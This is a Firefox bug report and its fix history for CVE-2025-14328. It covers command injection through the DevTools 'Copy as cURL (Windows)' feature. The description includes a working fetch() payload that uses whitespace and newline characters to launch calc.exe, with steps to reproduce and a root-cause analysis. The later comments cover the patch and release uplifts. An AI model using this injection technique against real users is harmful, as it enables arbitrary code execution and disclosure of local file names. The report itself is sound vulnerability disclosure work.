1996761 - (CVE-2025-14328) Copy As Curl (Windows) - Code Execution via body \n injection

Status: RESOLVED FIXED

(DevTools :: Netmonitor, defect, P2)

Description

[Ameen Basha M K]

Attachment: Firefox-CopyAsCurl-Windows-tabcharacter.mp4

Hi Team, Firefox latest on windows is vulnerable for code execution via copy as curl (windows) feature on windows, which allows attacker to execute arbitrary command on victim machine

Payload:

fetch("/", {
"credentials": "omit",
"headers": {
"Accept-Language": "en-US",
"Content-Type": "text/plain",
},
"body": '\t \rcalc.exe "\t  \n',
"method": "POST",
});

Note: It also have impact of sharing LOCAL FILE NAME with attacker by using consecutive tab chaarcters

Steps to reproduce:

1. Send the above request directly via console (or) embed it in html
2. Now from network tab copy the request as curl
3. paste it in cmd and you can find the calc popup

Tested in Nightly 146.0a1 (2025-10-27) (64-bit) on windows 11 pro

I have attached the poc video too for reference

Comment 1

[Ameen Basha M K]

Root cause is when " is used it is escaped with ^ character so " become => ^" and immediate usage of \t include the local file name which will enclose with " and we can free to use \n (or) \r to break to new line and execute Code

1. Impact: Code Execution
2. Local File Names Disclosure (Complete Directory file names disclosure to attacker)

Comment 2

[Hubert Boma Manilla (:bomsy)]

Attachment: (secure)

Comment 3

[Pulsebot]

Pushed by [e-mail]:
https://github.com/mozilla-firefox/firefox/commit/5c7b1adb9c3f
https://hg.mozilla.org/integration/autoland/rev/fc7eb99824bb
[devtools] Replace any other whitespace like characters with space r=devtools-reviewers,nchevobbe

Comment 4

[Ryan VanderMeulen [:RyanVM]]

https://hg-edge.mozilla.org/mozilla-central/rev/fc7eb99824bb

Comment 5

[BugBot [:suhaib / :marco/ :calixte]]

The patch landed in nightly and beta is affected.
:bomsy, is this bug important enough to require an uplift?

• If yes, please nominate the patch for beta approval.
  • See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
• If no, please set status-firefox146 to wontfix.

For more information, please visit BugBot documentation.

Comment 6

[Donal Meehan [:dmeehan]]

:bomsy, to add to Comment 5, this will also need an uplift request for ESR140. It grafts cleanly with Bug 1997018 applied.

Comment 7

[Phabricator Automation]

firefox-esr140 Uplift Approval Request

• User impact if declined: With clever combinations which would include certain whitespace-like characters in the curl commands apps on user local machine can be executed.
• Code covered by automated testing: yes
• Fix verified in Nightly: yes
• Needs manual QE test: no
• Steps to reproduce for manual QE testing:
• Risk associated with taking this patch: low
• Explanation of risk level: Small js patch with regexp to escape the whitespace-like characters.
• String changes made/needed: None
• Is Android affected?: no

Comment 8

[Hubert Boma Manilla (:bomsy)]

Attachment: (secure)

Certain control characters (e.g tab or form feed) are whitespace like characters.
This replaces those with a simple space.

Original Revision: https://phabricator.services.mozilla.com/D272425

Comment 9

[Hubert Boma Manilla (:bomsy)]

Comment on attachment 9526438 [details]
(secure)

Beta/Release Uplift Approval Request

• User impact if declined/Reason for urgency: With clever combinations which would include certain whitespace-like characters in the curl commands apps on user local machine can be executed.
• Is this code covered by automated tests?: Yes
• Has the fix been verified in Nightly?: Yes
• Needs manual test from QE?: No
• If yes, steps to reproduce:
• List of other uplifts needed: None
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): Small js patch with regexp to escape the whitespace-like characters.
• String changes made/needed: None
• Is Android affected?: No

Comment 10

[Donal Meehan [:dmeehan]]

Comment on attachment 9526438 [details]
(secure)

Approved for 146.0b9

Comment 11

[Pulsebot]

https://github.com/mozilla-firefox/firefox/commit/07dc29cb7ae1
https://hg.mozilla.org/releases/mozilla-beta/rev/1687390e25bf

Comment 12

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr140/rev/fa4c895cd0db